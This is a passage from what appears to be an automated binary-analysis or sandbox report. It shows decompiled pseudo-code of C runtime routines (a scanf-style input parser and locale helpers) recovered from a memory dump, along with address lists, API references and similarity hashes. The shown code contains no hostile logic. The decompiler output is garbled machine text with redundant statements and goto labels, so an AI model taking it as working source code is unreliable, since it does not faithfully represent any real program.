								 *((intOrPtr*)(L0041A7C0(_t266))) = 0x2a;
								 *(_t296 - 0x3c) = 0xffffffff;
								E0041B2A0(_t296 - 0x20);
								_t161 =  *(_t296 - 0x3c);
							}
							goto L53;
						}
						 *(_t296 - 0x44) =  *(_t296 - 4);
						E0041B2A0(_t296 - 0x20);
						_t161 =  *(_t296 - 0x44);
					}
				}
				L53:
				return E00422570(_t161, _t222,  *(_t296 - 0x24) ^ _t296, _t274, _t294, _t295);
			}

0x0042aa93
0x0042aa93
0x0042aa93
0x0042aa97
0x0042add9
0x0042ae59
0x0042ae67
0x0042ae69
0x0042ae73
0x0042ae7a
0x0042ae87
0x0042ae8d
0x0042ae97
0x0042ae9c
0x0042aea1
0x0042aea4
0x0042aea7
0x0042aead
0x0042aeb2
0x0042aeb2
0x0042addb
0x0042addb
0x0042ade5
0x0042adf3
0x0042adf6
0x0042adfb
0x00000000
0x00000000
0x0042ae00
0x0042ae09
0x0042ae33
0x0042adf0
0x00000000
0x0042ae0b
0x0042ae10
0x0042ae16
0x0042ae20
0x0042ae25
0x0042ae25
0x00000000
0x0042ae09
0x0042ae3b
0x0042ae41
0x0042ae46
0x0042ae46
0x0042aa9d
0x0042aaab
0x0042ab55
0x0042ac21
0x0042ac23
0x0042ac2d
0x0042ac34
0x0042ac59
0x0042ac6b
0x0042ac71
0x0042ac7b
0x0042ac80
0x0042ac88
0x0042ac88
0x0042ac9d
0x0042acbf
0x0042acc1
0x0042accb
0x0042acd2
0x0042acdf
0x0042ace5
0x0042acef
0x0042acf4
0x0042acfc
0x0042ad00
0x0042ad0d
0x0042ad13
0x0042ad1d
0x0042ad22
0x0042ad2a
0x0042ad33
0x0042ad4b
0x0042ad66
0x0042ad7b
0x0042ad80
0x0042ad88
0x0042ad5a
0x0042ad63
0x00000000
0x0042ad8a
0x0042ad8d
0x0042ad93
0x0042ad98
0x0042ad98
0x00000000
0x0042ad88
0x0042ada5
0x0042ada8
0x00000000
0x0042ad35
0x0042ad38
0x0042ad3e
0x0042ad43
0x0042ad43
0x0042ad33
0x0042ad00
0x00000000
0x0042acd2
0x0042adb3
0x0042adb9
0x0042adbe
0x0042adbe
0x0042ac3c
0x0042ac42
0x0042ac48
0x0042ac4d
0x0042ac4d
0x0042ab5b
0x0042ab5f
0x0042ab71
0x0042ab71
0x0042ab86
0x0042ab94
0x0042ab96
0x0042aba0
0x0042aba7
0x0042abe1
0x0042abe7
0x0042abf1
0x0042abf6
0x0042abaf
0x0042abbb
0x0042abc3
0x0042abc3
0x0042abc6
0x0042abc9
0x0042abcf
0x0042abd4
0x0042abd4
0x0042aba7
0x0042aab1
0x0042aab1
0x0042aab1
0x0042aab7
0x00000000
0x00000000
0x0042aab9
0x0042aac4
0x0042aaf3
0x0042aaf8
0x0042ab01
0x0042ab06
0x0042ab21
0x0042ab24
0x00000000
0x0042ab08
0x0042ab0b
0x0042ab11
0x0042ab16
0x0042ab16
0x0042aac6
0x0042aacb
0x0042aad1
0x0042aadb
0x0042aae0
0x0042aae0
0x00000000
0x0042aac4
0x0042ab2c
0x0042ab32
0x0042ab37
0x0042ab37
0x0042aaab
0x0042aebf
0x0042aecc

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042AADB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042AB11
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042AB32
wcsncnt.LIBCMTD ref: 0042AB69
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0042AB9A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042ABCF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042AE20

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: 3633b3d2847cf56658da2b79f1b387c6231c4c28329113e076bd94e8b1d32358
Instruction ID: 9c46ee4b3041ed77b9f18e2b5dc79e7c2ac5f86779ffbeb5e07a1c836f18d015
Opcode Fuzzy Hash: 3633b3d2847cf56658da2b79f1b387c6231c4c28329113e076bd94e8b1d32358
Instruction Fuzzy Hash: 07E13C31A00218DFCB04DF94D894BEEB7B1FF45314F60815AE8116B2A1D738AE55DF96

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0A0, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 386
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041C0A0(void* __ebx) {
				signed int _t828;
				void* _t833;
				void* _t838;
				signed int _t842;
				signed int _t845;
				intOrPtr _t847;
				signed int _t858;
				signed int _t941;
				signed int _t943;
				signed int _t946;
				signed int _t950;
				signed int _t953;
				void* _t964;
				void* _t965;
				signed int _t978;
				signed int _t983;
				signed int _t990;
				signed int _t1071;
				signed int _t1077;
				void* _t1137;
				void* _t1138;
				signed int _t1139;
				void* _t1141;
				void* _t1144;
				void* _t1148;

				L0:
				while(1) {
					L0:
					_t965 = __ebx;
					 *(_t1139 - 0x44) = 0x64;
					while(1) {
						L169:
						if( *(__ebp - 0x21c) != 0x2d) {
							goto L171;
						}
						L170:
						 *(__ebp - 2) =  *(__ebp - 2) + 1;
						 *(__ebp - 2) =  *(__ebp - 2) + 1;
						L172:
						__eax =  *(__ebp - 0x78);
						__eax =  *(__ebp - 0x78) - 1;
						 *(__ebp - 0x78) = __eax;
						if(__eax != 0) {
							L175:
							__edx =  *(__ebp - 0xc);
							__edx =  *(__ebp - 0xc) + 1;
							 *(__ebp - 0xc) = __edx;
							__eax =  *(__ebp + 8);
							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
							L176:
							if( *(__ebp - 0x21c) != 0x30) {
								L189:
								while(1) {
									L198:
									if( *(__ebp - 0x30) == 0) {
										goto L226;
									}
									while(1) {
										L199:
										__edx =  *(__ebp - 0x1e);
										if(__edx != 0) {
											break;
										}
										L200:
										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
											L202:
											__eax =  *(__ebp - 0x21c) & 0x000000ff;
											__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
											if(__eax == 0) {
												__dl =  *(__ebp - 0x1e);
												__dl =  *(__ebp - 0x1e) + 1;
												 *(__ebp - 0x1e) = __dl;
											} else {
												__eax =  *(__ebp - 0x200);
												__edx =  *(__ebp - 0x1fc);
												__cl = 4;
												 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
												 *(__ebp - 0x1fc) = __edx;
												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
												 *(__ebp - 0x21c) = E0041CF30( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
											}
											L215:
											__eax =  *(__ebp - 0x1e);
											if( *(__ebp - 0x1e) != 0) {
												L221:
												__eax =  *(__ebp - 0xc);
												__eax =  *(__ebp - 0xc) - 1;
												 *(__ebp - 0xc) = __eax;
												__ecx =  *(__ebp + 8);
												__edx =  *(__ebp - 0x21c);
												__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
												L222:
												continue;
											}
											L216:
											__ecx =  *(__ebp - 0x1f4);
											__ecx =  *(__ebp - 0x1f4) + 1;
											 *(__ebp - 0x1f4) = __ecx;
											 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
											asm("cdq");
											__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
											asm("adc edx, [ebp-0x1fc]");
											 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
											 *(__ebp - 0x1fc) = __edx;
											if( *(__ebp - 0x1f0) == 0) {
												L219:
												__ecx =  *(__ebp - 0xc);
												__ecx =  *(__ebp - 0xc) + 1;
												 *(__ebp - 0xc) = __ecx;
												__edx =  *(__ebp + 8);
												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
												L220:
												goto L222;
											}
											L217:
											__edx =  *(__ebp - 0x78);
											__edx =  *(__ebp - 0x78) - 1;
											 *(__ebp - 0x78) = __edx;
											if(__edx != 0) {
												goto L219;
											}
											L218:
											__al =  *(__ebp - 0x1e);
											__al =  *(__ebp - 0x1e) + 1;
											 *(__ebp - 0x1e) = __al;
											goto L220;
										}
										L201:
										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
											L206:
											__eax =  *(__ebp - 0x21c) & 0x000000ff;
											__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
											if(__eax == 0) {
												__dl =  *(__ebp - 0x1e);
												__dl =  *(__ebp - 0x1e) + 1;
												 *(__ebp - 0x1e) = __dl;
											} else {
												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
													__eax =  *(__ebp - 0x200);
													__edx =  *(__ebp - 0x1fc);
													__cl = 2;
													__eax = E00425520( *(__ebp - 0x200), __ecx, __edx);
													__eax = __eax +  *(__ebp - 0x200);
													asm("adc edx, [ebp-0x1fc]");
													__cl = 1;
													 *(__ebp - 0x200) = __eax;
													 *(__ebp - 0x1fc) = __edx;
												} else {
													if( *(__ebp - 0x21c) >= 0x38) {
														__cl =  *(__ebp - 0x1e);
														__cl =  *(__ebp - 0x1e) + 1;
														 *(__ebp - 0x1e) = __cl;
													} else {
														__eax =  *(__ebp - 0x200);
														__edx =  *(__ebp - 0x1fc);
														__cl = 3;
														 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
														 *(__ebp - 0x1fc) = __edx;
													}
												}
											}
											goto L215;
										}
										goto L202;
									}
									L223:
									__eax =  *(__ebp - 2);
									if( *(__ebp - 2) != 0) {
										__ecx =  *(__ebp - 0x200);
										__ecx =  ~( *(__ebp - 0x200));
										__edx =  *(__ebp - 0x1fc);
										asm("adc edx, 0x0");
										__edx =  ~( *(__ebp - 0x1fc));
										 *(__ebp - 0x200) = __ecx;
										 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
									}
									L252:
									if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
										 *(__ebp - 0x1f4) = 0;
									}
									if( *(__ebp - 0x1f4) == 0) {
										L263:
										goto L335;
									} else {
										L255:
										__edx =  *((char*)(__ebp - 0x12));
										if( *((char*)(__ebp - 0x12)) != 0) {
											L262:
											while(1) {
												L318:
												 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
												 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
												while(1) {
													L330:
													if( *(_t1139 - 0x21c) != 0xffffffff) {
														goto L334;
													}
													L331:
													_t1060 =  *(_t1139 + 0xc);
													if(( *( *(_t1139 + 0xc)) & 0x000000ff) != 0x25) {
														L333:
														L335:
														if( *((intOrPtr*)(_t1139 - 0x28)) == 1) {
															L0041DD40( *((intOrPtr*)(_t1139 - 0x84)), 2);
															_t1141 = _t1141 + 8;
														}
														if( *(_t1139 - 0x21c) != 0xffffffff) {
															L343:
															if( *(_t1139 - 0x24) != 1) {
																L352:
																_t1060 =  *(_t1139 - 8);
																 *(_t1139 - 0x24c) =  *(_t1139 - 8);
																E0041B2A0(_t1139 - 0x214);
																_t828 =  *(_t1139 - 0x24c);
																goto L353;
															}
															L344:
															if(0 == 0) {
																 *(_t1139 - 0x278) = 0;
															} else {
																 *(_t1139 - 0x278) = 1;
															}
															_t1060 =  *(_t1139 - 0x278);
															 *(_t1139 - 0x240) =  *(_t1139 - 0x278);
															if( *(_t1139 - 0x240) == 0) {
																_push(L"(\"Invalid Input Format\",0)");
																_push(0);
																_push(0x55d);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
																_push(2);
																_t833 = L0041AAF0();
																_t1141 = _t1141 + 0x14;
																if(_t833 == 1) {
																	asm("int3");
																}
															}
															if( *(_t1139 - 0x240) != 0) {
																goto L352;
															} else {
																L351:
																 *((intOrPtr*)(L0041A7C0(0))) = 0x16;
																E00419D60(0, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x55d, 0);
																 *(_t1139 - 0x248) =  *(_t1139 - 8);
																E0041B2A0(_t1139 - 0x214);
																_t828 =  *(_t1139 - 0x248);
																goto L353;
															}
														} else {
															L338:
															if( *(_t1139 - 8) != 0) {
																L341:
																_t1060 =  *(_t1139 - 8);
																 *(_t1139 - 0x274) =  *(_t1139 - 8);
																L342:
																 *(_t1139 - 0x244) =  *(_t1139 - 0x274);
																E0041B2A0(_t1139 - 0x214);
																_t828 =  *(_t1139 - 0x244);
																L353:
																return E00422570(_t828, _t965,  *(_t1139 - 0x50) ^ _t1139, _t1060, _t1137, _t1138);
															}
															L339:
															if( *(_t1139 - 0x1e9) != 0) {
																goto L341;
															}
															L340:
															 *(_t1139 - 0x274) = 0xffffffff;
															goto L342;
														}
													}
													L332:
													_t978 =  *(_t1139 + 0xc);
													_t1060 =  *(_t978 + 1) & 0x000000ff;
													if(( *(_t978 + 1) & 0x000000ff) == 0x6e) {
														goto L334;
													}
													goto L333;
													L334:
													while(1) {
														L1:
														_t1060 =  *(_t1139 + 0xc);
														if(( *( *(_t1139 + 0xc)) & 0x000000ff) == 0) {
															goto L335;
														}
														L2:
														_t838 = E00425240( *( *(_t1139 + 0xc)) & 0x000000ff);
														_t1141 = _t1141 + 4;
														if(_t838 == 0) {
															L6:
															if(( *( *(_t1139 + 0xc)) & 0x000000ff) != 0x25) {
																L321:
																if(( *( *(_t1139 + 0xc)) & 0x000000ff) == 0x25) {
																	_t858 =  *(_t1139 + 0xc);
																	if(( *(_t858 + 1) & 0x000000ff) == 0x25) {
																		_t1071 =  *(_t1139 + 0xc) + 1;
																		 *(_t1139 + 0xc) = _t1071;
																	}
																}
																 *(_t1139 - 0xc) =  *(_t1139 - 0xc) + 1;
																_t842 = E0041CF70( *(_t1139 + 8));
																_t1144 = _t1141 + 4;
																 *(_t1139 - 0x21c) = _t842;
																 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *(_t1139 - 0x21c)) {
																	L326:
																	_t845 = E00425500( *(_t1139 - 0x21c) & 0x000000ff);
																	_t1141 = _t1144 + 4;
																	if(_t845 == 0) {
																		do {
																			L330:
																			if( *(_t1139 - 0x21c) != 0xffffffff) {
																				goto L334;
																			}
																			goto L331;
																		} while (_t845 == 0);
																	}
																	L327:
																	 *(_t1139 - 0xc) =  *(_t1139 - 0xc) + 1;
																	_t847 = E0041CF70( *(_t1139 + 8));
																	_t1141 = _t1141 + 4;
																	 *((intOrPtr*)(_t1139 - 0x23c)) = _t847;
																	 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																	if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1139 - 0x23c))) {
																		L329:
																		_t983 =  *(_t1139 - 0xc) - 1;
																		 *(_t1139 - 0xc) = _t983;
																		goto L330;
																	}
																	L328:
																	 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																	E0041CFD0( *((intOrPtr*)(_t1139 - 0x23c)),  *(_t1139 + 8));
																	 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																	_t1060 =  *(_t1139 + 8);
																	E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																	_t1141 = _t1141 + 0x10;
																} else {
																	L325:
																	 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																	_t1060 =  *(_t1139 - 0x21c);
																	E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																	_t1141 = _t1144 + 8;
																}
																goto L335;
															}
															L7:
															_t990 =  *(_t1139 + 0xc);
															if(( *(_t990 + 1) & 0x000000ff) == 0x25) {
																goto L321;
															} else {
																 *(_t1139 - 0x220) = 0;
																 *((char*)(_t1139 - 0x7d)) = 0;
																 *(_t1139 - 0x1f4) = 0;
																 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f4);
																 *(_t1139 - 0x78) =  *(_t1139 - 0x1f0);
																 *(_t1139 - 0x18) = 0;
																 *(_t1139 - 0x34) =  *(_t1139 - 0x18);
																 *(_t1139 - 0x40) = 0;
																 *(_t1139 - 3) = 0;
																 *((char*)(_t1139 - 2)) =  *(_t1139 - 3);
																 *((char*)(_t1139 - 0x12)) =  *((intOrPtr*)(_t1139 - 2));
																 *(_t1139 - 0x1e) =  *((intOrPtr*)(_t1139 - 0x12));
																 *(_t1139 - 0x29) =  *(_t1139 - 0x1e);
																 *(_t1139 - 0x215) = 0;
																 *((char*)(_t1139 - 0x1d)) = 1;
																 *(_t1139 - 0x30) = 0;
																while(1) {
																	L9:
																	if( *(_t1139 - 0x1e) != 0) {
																		break;
																	}
																	L10:
																	 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																	 *(_t1139 - 0x44) =  *( *(_t1139 + 0xc)) & 0x000000ff;
																	_t950 = E004250C0( *(_t1139 - 0x44) & 0x000000ff);
																	_t1141 = _t1141 + 4;
																	if(_t950 == 0) {
																		L12:
																		 *(_t1139 - 0x25c) =  *(_t1139 - 0x44);
																		 *(_t1139 - 0x25c) =  *(_t1139 - 0x25c) - 0x2a;
																		if( *(_t1139 - 0x25c) > 0x4d) {
																			L39:
																			_t953 =  *(_t1139 - 0x1e) + 1;
																			 *(_t1139 - 0x1e) = _t953;
																			goto L40;
																		}
																		L13:
																		_t63 =  *(_t1139 - 0x25c) + 0x41cd90; // 0x8eff8b06
																		switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M0041CD70))) {
																			case 0:
																				L38:
																				 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																				 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																				goto L40;
																			case 1:
																				L14:
																				goto L40;
																			case 2:
																				L16:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *(__eax + 1) & 0x000000ff;
																				__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																				if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																					L19:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																					__eflags = __ecx - 0x33;
																					if(__ecx != 0x33) {
																						L22:
																						__edx =  *(__ebp + 0xc);
																						__eax =  *(__edx + 1) & 0x000000ff;
																						__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																						if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																							L27:
																							__eax = 0;
																							__eflags = 0;
																							if(0 != 0) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) + 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x30) = __ecx;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																							}
																							L29:
																							goto L40;
																						}
																						L23:
																						__ecx =  *(__ebp + 0xc);
																						__edx =  *(__ecx + 1) & 0x000000ff;
																						__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																						if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																							goto L27;
																						}
																						L24:
																						__eax =  *(__ebp + 0xc);
																						__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																						__eflags = __ecx - 0x6f;
																						if(__ecx == 0x6f) {
																							goto L27;
																						}
																						L25:
																						__edx =  *(__ebp + 0xc);
																						__eax =  *(__edx + 1) & 0x000000ff;
																						__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																						if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																							goto L27;
																						}
																						L26:
																						__ecx =  *(__ebp + 0xc);
																						__edx =  *(__ecx + 1) & 0x000000ff;
																						__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																						if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																							__edx = 0;
																							__eflags = 0;
																							if(0 != 0) {
																								__eax =  *(__ebp - 0x30);
																								__eax =  *(__ebp - 0x30) + 1;
																								__eflags = __eax;
																								 *(__ebp - 0x30) = __eax;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																							}
																							goto L39;
																						}
																						goto L27;
																					}
																					L20:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 2) & 0x000000ff;
																					__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																					if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																						goto L22;
																					} else {
																						__ecx =  *(__ebp + 0xc);
																						__ecx =  *(__ebp + 0xc) + 2;
																						 *(__ebp + 0xc) = __ecx;
																						goto L40;
																					}
																				}
																				L17:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 2) & 0x000000ff;
																				__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																				if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																					goto L19;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) = __ecx;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x200) = 0;
																					 *(__ebp - 0x1fc) = 0;
																					goto L40;
																				}
																			case 3:
																				L33:
																				__cl =  *(__ebp - 0x1d);
																				__cl =  *(__ebp - 0x1d) + 1;
																				 *(__ebp - 0x1d) = __cl;
																				goto L40;
																			case 4:
																				L15:
																				__cl =  *(__ebp - 0x1d);
																				__cl =  *(__ebp - 0x1d) - 1;
																				 *(__ebp - 0x1d) = __cl;
																				 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																				 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																				goto L40;
																			case 5:
																				L34:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																				if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																					__al =  *(__ebp - 0x1d);
																					__al =  *(__ebp - 0x1d) + 1;
																					__eflags = __al;
																					 *(__ebp - 0x1d) = __al;
																					goto L37;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 1;
																					 *(__ebp + 0xc) = __ecx;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x200) = 0;
																					 *(__ebp - 0x1fc) = 0;
																					goto L40;
																				}
																			case 6:
																				L37:
																				__cl =  *(__ebp - 0x215);
																				__cl =  *(__ebp - 0x215) + 1;
																				 *(__ebp - 0x215) = __cl;
																				goto L40;
																			case 7:
																				goto L39;
																		}
																	} else {
																		 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f0) + 1;
																		 *(_t1139 - 0x78) =  *(_t1139 - 0x44) + ( *(_t1139 - 0x78) +  *(_t1139 - 0x78) * 4) * 2 - 0x30;
																		L40:
																		continue;
																	}
																}
																L41:
																if( *((char*)(_t1139 - 0x12)) != 0) {
																	 *(_t1139 - 0x7c) = 0;
																} else {
																	 *((intOrPtr*)(_t1139 - 0x1c)) =  *((intOrPtr*)(_t1139 + 0x14));
																	 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 + 0x14)) + 4;
																	 *(_t1139 - 0x7c) =  *( *((intOrPtr*)(_t1139 + 0x14)) - 4);
																}
																 *(_t1139 - 0x1e) = 0;
																if( *(_t1139 - 0x215) != 0) {
																	L49:
																	_t1060 =  *( *(_t1139 + 0xc)) & 0x000000ff | 0x00000020;
																	 *(_t1139 - 0x44) =  *( *(_t1139 + 0xc)) & 0x000000ff | 0x00000020;
																	if( *(_t1139 - 0x44) == 0x6e) {
																		L54:
																		if( *(_t1139 - 0x44) == 0x6e) {
																			L57:
																			if( *(_t1139 - 0x1f0) == 0) {
																				L59:
																				if( *((char*)(_t1139 - 0x12)) != 0) {
																					L68:
																					 *(_t1139 - 0x260) =  *(_t1139 - 0x44);
																					 *(_t1139 - 0x260) =  *(_t1139 - 0x260) - 0x63;
																					if( *(_t1139 - 0x260) > 0x18) {
																						L313:
																						if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *(_t1139 - 0x21c)) {
																							L315:
																							_t1077 =  *(_t1139 - 0x1e9) - 1;
																							 *(_t1139 - 0x1e9) = _t1077;
																							if( *((char*)(_t1139 - 0x12)) == 0) {
																								 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 - 0x1c));
																							}
																							while(1) {
																								L318:
																								 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																								 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																								goto L330;
																							}
																						}
																						L314:
																						_t1060 =  *(_t1139 - 0xc) - 1;
																						 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																						E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																						_t1141 = _t1141 + 8;
																						 *(_t1139 - 0x24) = 1;
																						goto L335;
																					}
																					L69:
																					_t185 =  *(_t1139 - 0x260) + 0x41ce08; // 0xcccccc08
																					switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M0041CDE0))) {
																						case 0:
																							L70:
																							__eflags =  *(_t1139 - 0x1f0);
																							if( *(_t1139 - 0x1f0) == 0) {
																								 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f0) + 1;
																								_t1119 =  *(_t1139 - 0x78) + 1;
																								__eflags = _t1119;
																								 *(_t1139 - 0x78) = _t1119;
																							}
																							L72:
																							__eflags =  *(_t1139 - 0x215);
																							if( *(_t1139 - 0x215) > 0) {
																								_t1039 =  *(_t1139 - 0x29) + 1;
																								__eflags = _t1039;
																								 *(_t1139 - 0x29) = _t1039;
																							}
																							L74:
																							goto L104;
																						case 1:
																							L191:
																							__eflags =  *(__ebp - 0x21c) - 0x2d;
																							if( *(__ebp - 0x21c) != 0x2d) {
																								L193:
																								__eflags =  *(__ebp - 0x21c) - 0x2b;
																								if( *(__ebp - 0x21c) != 0x2b) {
																									while(1) {
																										L198:
																										if( *(__ebp - 0x30) == 0) {
																											goto L226;
																										}
																										goto L199;
																										while(1) {
																											L226:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												break;
																											}
																											L227:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																											if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																												L229:
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													 *(__ebp - 0x21c) = E0041CF30(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																												}
																												L242:
																												__eax =  *(__ebp - 0x1e);
																												__eflags =  *(__ebp - 0x1e);
																												if( *(__ebp - 0x1e) != 0) {
																													L248:
																													__eax =  *(__ebp - 0xc);
																													__eax =  *(__ebp - 0xc) - 1;
																													__eflags = __eax;
																													 *(__ebp - 0xc) = __eax;
																													__ecx =  *(__ebp + 8);
																													__edx =  *(__ebp - 0x21c);
																													__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																													L249:
																													continue;
																												}
																												L243:
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												__edx =  *(__ebp - 0x21c);
																												__eax =  *(__ebp - 0x220);
																												__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																												 *(__ebp - 0x220) = __ecx;
																												__eflags =  *(__ebp - 0x1f0);
																												if( *(__ebp - 0x1f0) == 0) {
																													L246:
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																													L247:
																													goto L249;
																												}
																												L244:
																												__edx =  *(__ebp - 0x78);
																												__edx =  *(__ebp - 0x78) - 1;
																												__eflags = __edx;
																												 *(__ebp - 0x78) = __edx;
																												if(__edx != 0) {
																													goto L246;
																												}
																												L245:
																												__al =  *(__ebp - 0x1e);
																												__al =  *(__ebp - 0x1e) + 1;
																												 *(__ebp - 0x1e) = __al;
																												goto L247;
																											}
																											L228:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																												L233:
																												__edx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
